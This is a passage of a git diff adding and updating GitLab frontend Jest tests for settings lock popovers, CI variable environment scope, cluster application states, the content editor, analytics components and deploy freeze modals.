+ const createPopoverMountEl = ({
+ lockedByApplicationSetting = false,
+ lockedByAncestor = false,
+ }) => {
+ const popoverMountEl = document.createElement('div');
+ popoverMountEl.classList.add('js-cascading-settings-lock-popover-target');
+
+ const popoverData = {
+ locked_by_application_setting: lockedByApplicationSetting,
+ locked_by_ancestor: lockedByAncestor,
+ };
+
+ if (lockedByApplicationSetting) {
+ popoverMountEl.setAttribute('data-popover-data', JSON.stringify(popoverData));
+ } else if (lockedByAncestor) {
+ popoverMountEl.setAttribute(
+ 'data-popover-data',
+ JSON.stringify({ ...popoverData, ancestor_namespace: mockNamespace }),
+ );
+ }
+
+ document.body.appendChild(popoverMountEl);
+
+ return popoverMountEl;
+ };
+
+ let wrapper;
+ const createWrapper = () => {
+ wrapper = mountExtended(LockPopovers);
+ };
+
+ const findPopover = () => extendedWrapper(wrapper.find(GlPopover));
+ const findByTextInPopover = (text, options) =>
+ findPopover().findByText((_, element) => element.textContent === text, options);
+
+ const expectPopoverMessageExists = (message) => {
+ expect(findByTextInPopover(message).exists()).toBe(true);
+ };
+ const expectCorrectPopoverTarget = (popoverMountEl, popover = findPopover()) => {
+ expect(popover.props('target')).toEqual(popoverMountEl);
+ };
+
+ afterEach(() => {
+ document.body.innerHTML = '';
+ });
+
+ describe('when setting is locked by an application setting', () => {
+ let popoverMountEl;
+
+ beforeEach(() => {
+ popoverMountEl = createPopoverMountEl({ lockedByApplicationSetting: true });
+ createWrapper();
+ });
+
+ it('displays correct popover message', () => {
+ expectPopoverMessageExists('This setting has been enforced by an instance admin.');
+ });
+
+ it('sets `target` prop correctly', () => {
+ expectCorrectPopoverTarget(popoverMountEl);
+ });
+ });
+
+ describe('when setting is locked by an ancestor namespace', () => {
+ let popoverMountEl;
+
+ beforeEach(() => {
+ popoverMountEl = createPopoverMountEl({ lockedByAncestor: true });
+ createWrapper();
+ });
+
+ it('displays correct popover message', () => {
+ expectPopoverMessageExists(
+ `This setting has been enforced by an owner of ${mockNamespace.full_name}.`,
+ );
+ });
+
+ it('displays link to ancestor namespace', () => {
+ expect(
+ findByTextInPopover(mockNamespace.full_name, {
+ selector: `a[href="${mockNamespace.path}"]`,
+ }).exists(),
+ ).toBe(true);
+ });
+
+ it('sets `target` prop correctly', () => {
+ expectCorrectPopoverTarget(popoverMountEl);
+ });
+ });
+
+ describe('when setting is locked by an application setting and an ancestor namespace', () => {
+ let popoverMountEl;
+
+ beforeEach(() => {
+ popoverMountEl = createPopoverMountEl({
+ lockedByAncestor: true,
+ lockedByApplicationSetting: true,
+ });
+ createWrapper();
+ });
+
+ it('application setting takes precedence and correct message is shown', () => {
+ expectPopoverMessageExists('This setting has been enforced by an instance admin.');
+ });
+
+ it('sets `target` prop correctly', () => {
+ expectCorrectPopoverTarget(popoverMountEl);
+ });
+ });
+
+ describe('when setting is not locked', () => {
+ beforeEach(() => {
+ createPopoverMountEl({
+ lockedByAncestor: false,
+ lockedByApplicationSetting: false,
+ });
+ createWrapper();
+ });
+
+ it('does not render popover', () => {
+ expect(findPopover().exists()).toBe(false);
+ });
+ });
+
+ describe('when there are multiple mount elements', () => {
+ let popoverMountEl1;
+ let popoverMountEl2;
+
+ beforeEach(() => {
+ popoverMountEl1 = createPopoverMountEl({ lockedByApplicationSetting: true });
+ popoverMountEl2 = createPopoverMountEl({ lockedByAncestor: true });
+ createWrapper();
+ });
+
+ it('mounts multiple popovers', () => {
+ const popovers = wrapper.findAll(GlPopover).wrappers;
+
+ expectCorrectPopoverTarget(popoverMountEl1, popovers[0]);
+ expectCorrectPopoverTarget(popoverMountEl2, popovers[1]);
+ });
+ });
+});
diff --git a/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js b/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
index 991dc8592e9..752783a306a 100644
--- a/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
+++ b/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
@@ -1,6 +1,7 @@
-import { GlButton } from '@gitlab/ui';
+import { GlButton, GlFormInput } from '@gitlab/ui';
import { createLocalVue, shallowMount, mount } from '@vue/test-utils';
import Vuex from 'vuex';
+import CiEnvironmentsDropdown from '~/ci_variable_list/components/ci_environments_dropdown.vue';
import CiVariableModal from '~/ci_variable_list/components/ci_variable_modal.vue';
import { AWS_ACCESS_KEY_ID } from '~/ci_variable_list/constants';
import createStore from '~/ci_variable_list/store';
@@ -15,7 +16,7 @@ describe('Ci variable modal', () => {
let store;
const createComponent = (method, options = {}) => {
- store = createStore();
+ store = createStore({ isGroup: options.isGroup });
wrapper = method(CiVariableModal, {
attachTo: document.body,
stubs: {
@@ -27,6 +28,7 @@ describe('Ci variable modal', () => {
});
};
+ const findCiEnvironmentsDropdown = () => wrapper.find(CiEnvironmentsDropdown);
const findModal = () => wrapper.find(ModalStub);
const findAddorUpdateButton = () =>
findModal()
@@ -149,6 +151,43 @@ describe('Ci variable modal', () => {
});
});
+ describe('Environment scope', () => {
+ describe('group level variables', () => {
+ it('renders the environment dropdown', () => {
+ createComponent(shallowMount, {
+ isGroup: true,
+ provide: {
+ glFeatures: {
+ groupScopedCiVariables: true,
+ },
+ },
+ });
+
+ expect(findCiEnvironmentsDropdown().exists()).toBe(true);
+ expect(findCiEnvironmentsDropdown().isVisible()).toBe(true);
+ });
+
+ describe('licensed feature is not available', () => {
+ it('disables the dropdown', () => {
+ createComponent(mount, {
+ isGroup: true,
+ provide: {
+ glFeatures: {
+ groupScopedCiVariables: false,
+ },
+ },
+ });
+
+ const environmentScopeInput = wrapper
+ .find('[data-testid="environment-scope"]')
+ .find(GlFormInput);
+ expect(findCiEnvironmentsDropdown().exists()).toBe(false);
+ expect(environmentScopeInput.attributes('readonly')).toBe('readonly');
+ });
+ });
+ });
+ });
+
describe('Validations', () => {
const maskError = 'This variable can not be masked.';
diff --git a/spec/frontend/ci_variable_list/components/ci_variable_table_spec.js b/spec/frontend/ci_variable_list/components/ci_variable_table_spec.js
index ade2d65b857..8367c3f6bb8 100644
--- a/spec/frontend/ci_variable_list/components/ci_variable_table_spec.js
+++ b/spec/frontend/ci_variable_list/components/ci_variable_table_spec.js
@@ -1,4 +1,3 @@
-import { GlTable } from '@gitlab/ui';
import { createLocalVue, mount } from '@vue/test-utils';
import Vuex from 'vuex';
import CiVariableTable from '~/ci_variable_list/components/ci_variable_table.vue';
@@ -14,7 +13,6 @@ describe('Ci variable table', () => {
const createComponent = () => {
store = createStore();
- store.state.isGroup = true;
jest.spyOn(store, 'dispatch').mockImplementation();
wrapper = mount(CiVariableTable, {
attachTo: document.body,
@@ -26,7 +24,6 @@ describe('Ci variable table', () => {
const findRevealButton = () => wrapper.find({ ref: 'secret-value-reveal-button' });
const findEditButton = () => wrapper.find({ ref: 'edit-ci-variable' });
const findEmptyVariablesPlaceholder = () => wrapper.find({ ref: 'empty-variables' });
- const findTable = () => wrapper.find(GlTable);
beforeEach(() => {
createComponent();
@@ -40,17 +37,6 @@ describe('Ci variable table', () => {
expect(store.dispatch).toHaveBeenCalledWith('fetchVariables');
});
- it('fields prop does not contain environment_scope if group', () => {
- expect(findTable().props('fields')).not.toEqual(
- expect.arrayContaining([
- expect.objectContaining({
- key: 'environment_scope',
- label: 'Environment Scope',
- }),
- ]),
- );
- });
-
describe('Renders correct data', () => {
it('displays empty message when variables are not present', () => {
expect(findEmptyVariablesPlaceholder().exists()).toBe(true);
diff --git a/spec/frontend/clusters/components/application_row_spec.js b/spec/frontend/clusters/components/application_row_spec.js
index eff3493d7bd..6bad1db542b 100644
--- a/spec/frontend/clusters/components/application_row_spec.js
+++ b/spec/frontend/clusters/components/application_row_spec.js
@@ -89,6 +89,12 @@ describe('Application Row', () => {
checkButtonState('Install', false, true);
});
+ it('has disabled "Externally installed" when APPLICATION_STATUS.EXTERNALLY_INSTALLED', () => {
+ mountComponent({ status: APPLICATION_STATUS.EXTERNALLY_INSTALLED });
+
+ checkButtonState('Externally installed', false, true);
+ });
+
it('has disabled "Installed" when application is installed and not uninstallable', () => {
mountComponent({
status: APPLICATION_STATUS.INSTALLED,
diff --git a/spec/frontend/clusters/services/application_state_machine_spec.js b/spec/frontend/clusters/services/application_state_machine_spec.js
index 55230625ba4..4e731e331c2 100644
--- a/spec/frontend/clusters/services/application_state_machine_spec.js
+++ b/spec/frontend/clusters/services/application_state_machine_spec.js
@@ -20,6 +20,8 @@ const {
UNINSTALLING,
UNINSTALL_ERRORED,
UNINSTALLED,
+ PRE_INSTALLED,
+ EXTERNALLY_INSTALLED,
} = APPLICATION_STATUS;
const NO_EFFECTS = 'no effects';
@@ -29,19 +31,21 @@ describe('applicationStateMachine', () => {
describe(`current state is ${NO_STATUS}`, () => {
it.each`
- expectedState | event | effects
- ${INSTALLING} | ${SCHEDULED} | ${NO_EFFECTS}
- ${NOT_INSTALLABLE} | ${NOT_INSTALLABLE} | ${NO_EFFECTS}
- ${INSTALLABLE} | ${INSTALLABLE} | ${NO_EFFECTS}
- ${INSTALLING} | ${INSTALLING} | ${NO_EFFECTS}
- ${INSTALLED} | ${INSTALLED} | ${NO_EFFECTS}
- ${INSTALLABLE} | ${ERROR} | ${{ installFailed: true }}
- ${UPDATING} | ${UPDATING} | ${NO_EFFECTS}
- ${INSTALLED} | ${UPDATED} | ${NO_EFFECTS}
- ${INSTALLED} | ${UPDATE_ERRORED} | ${{ updateFailed: true }}
- ${UNINSTALLING} | ${UNINSTALLING} | ${NO_EFFECTS}
- ${INSTALLED} | ${UNINSTALL_ERRORED} | ${{ uninstallFailed: true }}
- ${UNINSTALLED} | ${UNINSTALLED} | ${NO_EFFECTS}
+ expectedState | event | effects
+ ${INSTALLING} | ${SCHEDULED} | ${NO_EFFECTS}
+ ${NOT_INSTALLABLE} | ${NOT_INSTALLABLE} | ${NO_EFFECTS}
+ ${INSTALLABLE} | ${INSTALLABLE} | ${NO_EFFECTS}
+ ${INSTALLING} | ${INSTALLING} | ${NO_EFFECTS}
+ ${INSTALLED} | ${INSTALLED} | ${NO_EFFECTS}
+ ${INSTALLABLE} | ${ERROR} | ${{ installFailed: true }}
+ ${UPDATING} | ${UPDATING} | ${NO_EFFECTS}
+ ${INSTALLED} | ${UPDATED} | ${NO_EFFECTS}
+ ${INSTALLED} | ${UPDATE_ERRORED} | ${{ updateFailed: true }}
+ ${UNINSTALLING} | ${UNINSTALLING} | ${NO_EFFECTS}
+ ${INSTALLED} | ${UNINSTALL_ERRORED} | ${{ uninstallFailed: true }}
+ ${UNINSTALLED} | ${UNINSTALLED} | ${NO_EFFECTS}
+ ${PRE_INSTALLED} | ${PRE_INSTALLED} | ${NO_EFFECTS}
+ ${EXTERNALLY_INSTALLED} | ${EXTERNALLY_INSTALLED} | ${NO_EFFECTS}
`(`transitions to $expectedState on $event event and applies $effects`, (data) => {
const { expectedState, event, effects } = data;
const currentAppState = {
diff --git a/spec/frontend/content_editor/components/content_editor_spec.js b/spec/frontend/content_editor/components/content_editor_spec.js
new file mode 100644
index 00000000000..f055a49135b
--- /dev/null
+++ b/spec/frontend/content_editor/components/content_editor_spec.js
@@ -0,0 +1,26 @@
+import { shallowMount } from '@vue/test-utils';
+import { EditorContent } from 'tiptap';
+import ContentEditor from '~/content_editor/components/content_editor.vue';
+import createEditor from '~/content_editor/services/create_editor';
+
+jest.mock('~/content_editor/services/create_editor');
+
+describe('ContentEditor', () => {
+ let wrapper;
+
+ const buildWrapper = () => {
+ wrapper = shallowMount(ContentEditor);
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders editor content component and attaches editor instance', () => {
+ const editor = {};
+
+ createEditor.mockReturnValueOnce(editor);
+ buildWrapper();
+ expect(wrapper.findComponent(EditorContent).props().editor).toBe(editor);
+ });
+});
diff --git a/spec/frontend/content_editor/markdown_processing_examples.js b/spec/frontend/content_editor/markdown_processing_examples.js
new file mode 100644
index 00000000000..12bf2cbb747
--- /dev/null
+++ b/spec/frontend/content_editor/markdown_processing_examples.js
@@ -0,0 +1,19 @@
+import fs from 'fs';
+import path from 'path';
+import jsYaml from 'js-yaml';
+import { toArray } from 'lodash';
+import { getJSONFixture } from 'helpers/fixtures';
+
+export const loadMarkdownApiResult = (testName) => {
+ const fixturePathPrefix = `api/markdown/${testName}.json`;
+
+ return getJSONFixture(fixturePathPrefix);
+};
+
+export const loadMarkdownApiExamples = () => {
+ const apiMarkdownYamlPath = path.join(__dirname, '..', 'fixtures', 'api_markdown.yml');
+ const apiMarkdownYamlText = fs.readFileSync(apiMarkdownYamlPath);
+ const apiMarkdownExampleObjects = jsYaml.safeLoad(apiMarkdownYamlText);
+
+ return apiMarkdownExampleObjects.map((example) => toArray(example));
+};
diff --git a/spec/frontend/content_editor/markdown_processing_spec.js b/spec/frontend/content_editor/markdown_processing_spec.js
new file mode 100644
index 00000000000..e435af30e9f
--- /dev/null
+++ b/spec/frontend/content_editor/markdown_processing_spec.js
@@ -0,0 +1,12 @@
+import { createEditor } from '~/content_editor';
+import { loadMarkdownApiExamples, loadMarkdownApiResult } from './markdown_processing_examples';
+
+describe('markdown processing', () => {
+ // Ensure we generate same markdown that was provided to Markdown API.
+ it.each(loadMarkdownApiExamples())('correctly handles %s', async (testName, markdown) => {
+ const { html } = loadMarkdownApiResult(testName);
+ const editor = await createEditor({ content: markdown, renderMarkdown: () => html });
+
+ expect(editor.getSerializedContent()).toBe(markdown);
+ });
+});
diff --git a/spec/frontend/content_editor/services/create_editor_spec.js b/spec/frontend/content_editor/services/create_editor_spec.js
new file mode 100644
index 00000000000..4cf63e608eb
--- /dev/null
+++ b/spec/frontend/content_editor/services/create_editor_spec.js
@@ -0,0 +1,39 @@
+import { PROVIDE_SERIALIZER_OR_RENDERER_ERROR } from '~/content_editor/constants';
+import createEditor from '~/content_editor/services/create_editor';
+import createMarkdownSerializer from '~/content_editor/services/markdown_serializer';
+
+jest.mock('~/content_editor/services/markdown_serializer');
+
+describe('content_editor/services/create_editor', () => {
+ const buildMockSerializer = () => ({
+ serialize: jest.fn(),
+ deserialize: jest.fn(),
+ });
+
+ describe('creating an editor', () => {
+ it('uses markdown serializer when a renderMarkdown function is provided', async () => {
+ const renderMarkdown = () => true;
+ const mockSerializer = buildMockSerializer();
+ createMarkdownSerializer.mockReturnValueOnce(mockSerializer);
+
+ await createEditor({ renderMarkdown });
+
+ expect(createMarkdownSerializer).toHaveBeenCalledWith({ render: renderMarkdown });
+ });
+
+ it('uses custom serializer when it is provided', async () => {
+ const mockSerializer = buildMockSerializer();
+ const serializedContent = '**bold**';
+
+ mockSerializer.serialize.mockReturnValueOnce(serializedContent);
+
+ const editor = await createEditor({ serializer: mockSerializer });
+
+ expect(editor.getSerializedContent()).toBe(serializedContent);
+ });
+
+ it('throws an error when neither a serializer or renderMarkdown fn are provided', async () => {
+ await expect(createEditor()).rejects.toThrow(PROVIDE_SERIALIZER_OR_RENDERER_ERROR);
+ });
+ });
+});
diff --git a/spec/frontend/contributors/component/__snapshots__/contributors_spec.js.snap b/spec/frontend/contributors/component/__snapshots__/contributors_spec.js.snap
index a5eb42e0f08..15b052fffbb 100644
--- a/spec/frontend/contributors/component/__snapshots__/contributors_spec.js.snap
+++ b/spec/frontend/contributors/component/__snapshots__/contributors_spec.js.snap
@@ -5,7 +5,9 @@ exports[`Contributors charts should render charts when loading completed and the
<div
class="contributors-charts"
>
- <h4>
+ <h4
+ class="gl-mb-2 gl-mt-5"
+ >
Commits to master
</h4>
@@ -16,6 +18,7 @@ exports[`Contributors charts should render charts when loading completed and the
<div>
<glareachart-stub
annotations=""
+ class="gl-mb-5"
data="[object Object]"
height="264"
includelegendavgmax="true"
@@ -34,14 +37,20 @@ exports[`Contributors charts should render charts when loading completed and the
class="row"
>
<div
- class="col-lg-6 col-12"
+ class="col-lg-6 col-12 gl-my-5"
>
- <h4>
+ <h4
+ class="gl-mb-2 gl-mt-0"
+ >
John
</h4>
- <p>
+ <p
+ class="gl-mb-3"
+ >
+
2 commits (jawnnypoo@gmail.com)
+
</p>
<div>
diff --git a/spec/frontend/create_merge_request_dropdown_spec.js b/spec/frontend/create_merge_request_dropdown_spec.js
index 08c05c6ec38..b4c13981dd5 100644
--- a/spec/frontend/create_merge_request_dropdown_spec.js
+++ b/spec/frontend/create_merge_request_dropdown_spec.js
@@ -20,7 +20,9 @@ describe('CreateMergeRequestDropdown', () => {
</div>
<div class="js-ref"></div>
<div class="js-create-mr"></div>
- <div class="js-create-merge-request"></div>
+ <div class="js-create-merge-request">
+ <span class="js-spinner"></span>
+ </div>
<div class="js-create-target"></div>
<div class="js-dropdown-toggle"></div>
</div>
@@ -100,4 +102,18 @@ describe('CreateMergeRequestDropdown', () => {
expect(dropdown.createMergeRequestButton.classList).toContain('disabled');
});
});
+
+ describe('setLoading', () => {
+ it.each`
+ loading | hasClass
+ ${true} | ${false}
+ ${false} | ${true}
+ `('it toggle loading spinner when loading is $loading', ({ loading, hasClass }) => {
+ dropdown.setLoading(loading);
+
+ expect(document.querySelector('.js-spinner').classList.contains('gl-display-none')).toEqual(
+ hasClass,
+ );
+ });
+ });
});
diff --git a/spec/frontend/cycle_analytics/banner_spec.js b/spec/frontend/cycle_analytics/banner_spec.js
index 0cae0298cee..ef7998c5ff5 100644
--- a/spec/frontend/cycle_analytics/banner_spec.js
+++ b/spec/frontend/cycle_analytics/banner_spec.js
@@ -1,45 +1,47 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import banner from '~/cycle_analytics/components/banner.vue';
+import { shallowMount } from '@vue/test-utils';
+import Banner from '~/cycle_analytics/components/banner.vue';
describe('Value Stream Analytics banner', () => {
- let vm;
+ let wrapper;
- beforeEach(() => {
- const Component = Vue.extend(banner);
- vm = mountComponent(Component, {
- documentationLink: 'path',
+ const createComponent = () => {
+ wrapper = shallowMount(Banner, {
+ propsData: {
+ documentationLink: 'path',
+ },
});
+ };
+
+ beforeEach(() => {
+ createComponent();
});
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
});
it('should render value stream analytics information', () => {
- expect(vm.$el.querySelector('h4').textContent.trim()).toEqual(
- 'Introducing Value Stream Analytics',
- );
+ expect(wrapper.find('h4').text().trim()).toBe('Introducing Value Stream Analytics');
expect(
- vm.$el
- .querySelector('p')
- .textContent.trim()
+ wrapper
+ .find('p')
+ .text()
+ .trim()
.replace(/[\r\n]+/g, ' '),
).toContain(
'Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project.',
);
- expect(vm.$el.querySelector('a').textContent.trim()).toEqual('Read more');
-
- expect(vm.$el.querySelector('a').getAttribute('href')).toEqual('path');
+ expect(wrapper.find('a').text().trim()).toBe('Read more');
+ expect(wrapper.find('a').attributes('href')).toBe('path');
});
- it('should emit an event when close button is clicked', () => {
- jest.spyOn(vm, '$emit').mockImplementation(() => {});
+ it('should emit an event when close button is clicked', async () => {
+ jest.spyOn(wrapper.vm, '$emit').mockImplementation(() => {});
- vm.$el.querySelector('.js-ca-dismiss-button').click();
+ await wrapper.find('.js-ca-dismiss-button').trigger('click');
- expect(vm.$emit).toHaveBeenCalled();
+ expect(wrapper.vm.$emit).toHaveBeenCalled();
});
});
diff --git a/spec/frontend/cycle_analytics/total_time_component_spec.js b/spec/frontend/cycle_analytics/total_time_component_spec.js
index 0f7f2628aca..e831bc311ed 100644
--- a/spec/frontend/cycle_analytics/total_time_component_spec.js
+++ b/spec/frontend/cycle_analytics/total_time_component_spec.js
@@ -1,58 +1,58 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import component from '~/cycle_analytics/components/total_time_component.vue';
+import { shallowMount } from '@vue/test-utils';
+import TotalTime from '~/cycle_analytics/components/total_time_component.vue';
describe('Total time component', () => {
- let vm;
- let Component;
+ let wrapper;
- beforeEach(() => {
- Component = Vue.extend(component);
- });
+ const createComponent = (propsData) => {
+ wrapper = shallowMount(TotalTime, {
+ propsData,
+ });
+ };
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
});
describe('With data', () => {
it('should render information for days and hours', () => {
- vm = mountComponent(Component, {
+ createComponent({
time: {
days: 3,
hours: 4,
},
});
- expect(vm.$el.textContent.trim().replace(/\s\s+/g, ' ')).toEqual('3 days 4 hrs');
+ expect(wrapper.text()).toMatchInterpolatedText('3 days 4 hrs');
});
it('should render information for hours and minutes', () => {
- vm = mountComponent(Component, {
+ createComponent({
time: {
hours: 4,
mins: 35,
},
});
- expect(vm.$el.textContent.trim().replace(/\s\s+/g, ' ')).toEqual('4 hrs 35 mins');
+ expect(wrapper.text()).toMatchInterpolatedText('4 hrs 35 mins');
});
it('should render information for seconds', () => {
- vm = mountComponent(Component, {
+ createComponent({
time: {
seconds: 45,
},
});
- expect(vm.$el.textContent.trim().replace(/\s\s+/g, ' ')).toEqual('45 s');
+ expect(wrapper.text()).toMatchInterpolatedText('45 s');
});
});
describe('Without data', () => {
it('should render no information', () => {
- vm = mountComponent(Component);
+ createComponent();
- expect(vm.$el.textContent.trim()).toEqual('--');
+ expect(wrapper.text()).toBe('--');
});
});
});
diff --git a/spec/frontend/delete_label_modal_spec.js b/spec/frontend/delete_label_modal_spec.js
new file mode 100644
index 00000000000..df70d3a8393
--- /dev/null
+++ b/spec/frontend/delete_label_modal_spec.js
@@ -0,0 +1,83 @@
+import { TEST_HOST } from 'helpers/test_constants';
+import initDeleteLabelModal from '~/delete_label_modal';
+
+describe('DeleteLabelModal', () => {
+ const buttons = [
+ {
+ labelName: 'label 1',
+ subjectName: 'GitLab Org',
+ destroyPath: `${TEST_HOST}/1`,
+ },
+ {
+ labelName: 'label 2',
+ subjectName: 'GitLab Org',
+ destroyPath: `${TEST_HOST}/2`,
+ },
+ ];
+
+ beforeEach(() => {
+ const buttonContainer = document.createElement('div');
+
+ buttons.forEach((x) => {
+ const button = document.createElement('button');
+ button.setAttribute('class', 'js-delete-label-modal-button');
+ button.setAttribute('data-label-name', x.labelName);
+ button.setAttribute('data-subject-name', x.subjectName);
+ button.setAttribute('data-destroy-path', x.destroyPath);
+ button.innerHTML = 'Action';
+ buttonContainer.appendChild(button);
+ });
+
+ document.body.appendChild(buttonContainer);
+ });
+
+ afterEach(() => {
+ document.body.innerHTML = '';
+ });
+
+ const findJsHooks = () => document.querySelectorAll('.js-delete-label-modal-button');
+ const findModal = () => document.querySelector('.gl-modal');
+
+ it('starts with only js-containers', () => {
+ expect(findJsHooks()).toHaveLength(buttons.length);
+ expect(findModal()).not.toExist();
+ });
+
+ describe('when first button clicked', () => {
+ beforeEach(() => {
+ initDeleteLabelModal();
+ findJsHooks().item(0).click();
+ });
+
+ it('does not replace js-containers with GlModal', () => {
+ expect(findJsHooks()).toHaveLength(buttons.length);
+ });
+
+ it('renders GlModal', () => {
+ expect(findModal()).toExist();
+ });
+ });
+
+ describe.each`
+ index
+ ${0}
+ ${1}
+ `(`when multiple buttons exist`, ({ index }) => {
+ beforeEach(() => {
+ initDeleteLabelModal();
+ findJsHooks().item(index).click();
+ });
+
+ it('correct props are passed to gl-modal', () => {
+ expect(findModal().querySelector('.modal-title').innerHTML).toContain(
+ buttons[index].labelName,
+ );
+ expect(findModal().querySelector('.modal-body').innerHTML).toContain(
+ buttons[index].subjectName,
+ );
+ expect(findModal().querySelector('.modal-footer .btn-danger').href).toContain(
+ buttons[index].destroyPath,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/deploy_freeze/components/deploy_freeze_modal_spec.js b/spec/frontend/deploy_freeze/components/deploy_freeze_modal_spec.js
index d8ce184940a..7c46c280d46 100644
--- a/spec/frontend/deploy_freeze/components/deploy_freeze_modal_spec.js
+++ b/spec/frontend/deploy_freeze/components/deploy_freeze_modal_spec.js
@@ -1,13 +1,16 @@
import { GlButton, GlModal } from '@gitlab/ui';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
+import Api from '~/api';
import DeployFreezeModal from '~/deploy_freeze/components/deploy_freeze_modal.vue';
import createStore from '~/deploy_freeze/store';
import TimezoneDropdown from '~/vue_shared/components/timezone_dropdown.vue';
import { freezePeriodsFixture, timezoneDataFixture } from '../helpers';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+jest.mock('~/api');
+
+Vue.use(Vuex);
describe('Deploy freeze modal', () => {
let wrapper;
@@ -23,18 +26,19 @@ describe('Deploy freeze modal', () => {
stubs: {
GlModal,
},
- localVue,
store,
});
});
- const findModal = () => wrapper.find(GlModal);
- const addDeployFreezeButton = () => findModal().findAll(GlButton).at(1);
+ const findModal = () => wrapper.findComponent(GlModal);
+ const submitDeployFreezeButton = () => findModal().findAllComponents(GlButton).at(1);
- const setInput = (freezeStartCron, freezeEndCron, selectedTimezone) => {
+ const setInput = (freezeStartCron, freezeEndCron, selectedTimezone, id = '') => {
store.state.freezeStartCron = freezeStartCron;
store.state.freezeEndCron = freezeEndCron;
store.state.selectedTimezone = selectedTimezone;
+ store.state.selectedTimezoneIdentifier = selectedTimezone;
+ store.state.selectedId = id;
wrapper.find('#deploy-freeze-start').trigger('input');
wrapper.find('#deploy-freeze-end').trigger('input');
@@ -48,18 +52,36 @@ describe('Deploy freeze modal', () => {
describe('Basic interactions', () => {
it('button is disabled when freeze period is invalid', () => {
- expect(addDeployFreezeButton().attributes('disabled')).toBeTruthy();
+ expect(submitDeployFreezeButton().attributes('disabled')).toBeTruthy();
});
});
describe('Adding a new deploy freeze', () => {
+ const { freeze_start, freeze_end, cron_timezone } = freezePeriodsFixture[0];
+
beforeEach(() => {
- const { freeze_start, freeze_end, cron_timezone } = freezePeriodsFixture[0];
setInput(freeze_start, freeze_end, cron_timezone);
});
it('button is enabled when valid freeze period settings are present', () => {
- expect(addDeployFreezeButton().attributes('disabled')).toBeUndefined();
+ expect(submitDeployFreezeButton().attributes('disabled')).toBeUndefined();
+ });
+
+ it('should display Add deploy freeze', () => {
+ expect(findModal().props('title')).toBe('Add deploy freeze');
+ expect(submitDeployFreezeButton().text()).toBe('Add deploy freeze');
+ });
+
+ it('should call the add deploy freze API', () => {
+ Api.createFreezePeriod.mockResolvedValue();
+ findModal().vm.$emit('primary');
+
+ expect(Api.createFreezePeriod).toHaveBeenCalledTimes(1);
+ expect(Api.createFreezePeriod).toHaveBeenCalledWith(store.state.projectId, {
+ freeze_start,
+ freeze_end,
+ cron_timezone,
+ });
});
});
@@ -70,7 +92,7 @@ describe('Deploy freeze modal', () => {
});
it('disables the add deploy freeze button', () => {
- expect(addDeployFreezeButton().attributes('disabled')).toBeTruthy();
+ expect(submitDeployFreezeButton().attributes('disabled')).toBeTruthy();
});
});
@@ -81,7 +103,32 @@ describe('Deploy freeze modal', () => {
});
it('does not disable the submit button', () => {
- expect(addDeployFreezeButton().attributes('disabled')).toBeFalsy();
+ expect(submitDeployFreezeButton().attributes('disabled')).toBeFalsy();
+ });
+ });
+ });
+
+ describe('Editing an existing deploy freeze', () => {
+ const { freeze_start, freeze_end, cron_timezone, id } = freezePeriodsFixture[0];
+ beforeEach(() => {
+ setInput(freeze_start, freeze_end, cron_timezone, id);
+ });
+
+ it('should display Edit deploy freeze', () => {
+ expect(findModal().props('title')).toBe('Edit deploy freeze');
+ expect(submitDeployFreezeButton().text()).toBe('Save deploy freeze');
+ });
+
+ it('should call the update deploy freze API', () => {
+ Api.updateFreezePeriod.mockResolvedValue();
+ findModal().vm.$emit('primary');
+
+ expect(Api.updateFreezePeriod).toHaveBeenCalledTimes(1);
+ expect(Api.updateFreezePeriod).toHaveBeenCalledWith(store.state.projectId, {
+ id,
+ freeze_start,
+ freeze_end,
+ cron_timezone,
});
});
});
diff --git a/spec/frontend/deploy_freeze/components/deploy_freeze_table_spec.js b/spec/frontend/deploy_freeze/components/deploy_freeze_table_spec.js
index e4ee1b9ad26..168ddcfeacc 100644
--- a/spec/frontend/deploy_freeze/components/deploy_freeze_table_spec.js
+++ b/spec/frontend/deploy_freeze/components/deploy_freeze_table_spec.js
@@ -2,6 +2,7 @@ import { createLocalVue, mount } from '@vue/test-utils';
import Vuex from 'vuex';
import DeployFreezeTable from '~/deploy_freeze/components/deploy_freeze_table.vue';
import createStore from '~/deploy_freeze/store';
+import { RECEIVE_FREEZE_PERIODS_SUCCESS } from '~/deploy_freeze/store/mutation_types';
import { freezePeriodsFixture, timezoneDataFixture } from '../helpers';
const localVue = createLocalVue();
@@ -26,6 +27,7 @@ describe('Deploy freeze table', () => {
const findEmptyFreezePeriods = () => wrapper.find('[data-testid="empty-freeze-periods"]');
const findAddDeployFreezeButton = () => wrapper.find('[data-testid="add-deploy-freeze"]');
+ const findEditDeployFreezeButton = () => wrapper.find('[data-testid="edit-deploy-freeze"]');
const findDeployFreezeTable = () => wrapper.find('[data-testid="deploy-freeze-table"]');
beforeEach(() => {
@@ -45,17 +47,31 @@ describe('Deploy freeze table', () => {
it('displays empty', () => {
expect(findEmptyFreezePeriods().exists()).toBe(true);
expect(findEmptyFreezePeriods().text()).toBe(
- 'No deploy freezes exist for this project. To add one, click Add deploy freeze',
+ 'No deploy freezes exist for this project. To add one, select Add deploy freeze',
);
});
- it('displays data', () => {
- store.state.freezePeriods = freezePeriodsFixture;
+ describe('with data', () => {
+ beforeEach(async () => {
+ store.commit(RECEIVE_FREEZE_PERIODS_SUCCESS, freezePeriodsFixture);
+ await wrapper.vm.$nextTick();
+ });
- return wrapper.vm.$nextTick(() => {
+ it('displays data', () => {
const tableRows = findDeployFreezeTable().findAll('tbody tr');
expect(tableRows.length).toBe(freezePeriodsFixture.length);
expect(findEmptyFreezePeriods().exists()).toBe(false);
+ expect(findEditDeployFreezeButton().exists()).toBe(true);
+ });
+
+ it('allows user to edit deploy freeze', async () => {
+ findEditDeployFreezeButton().trigger('click');
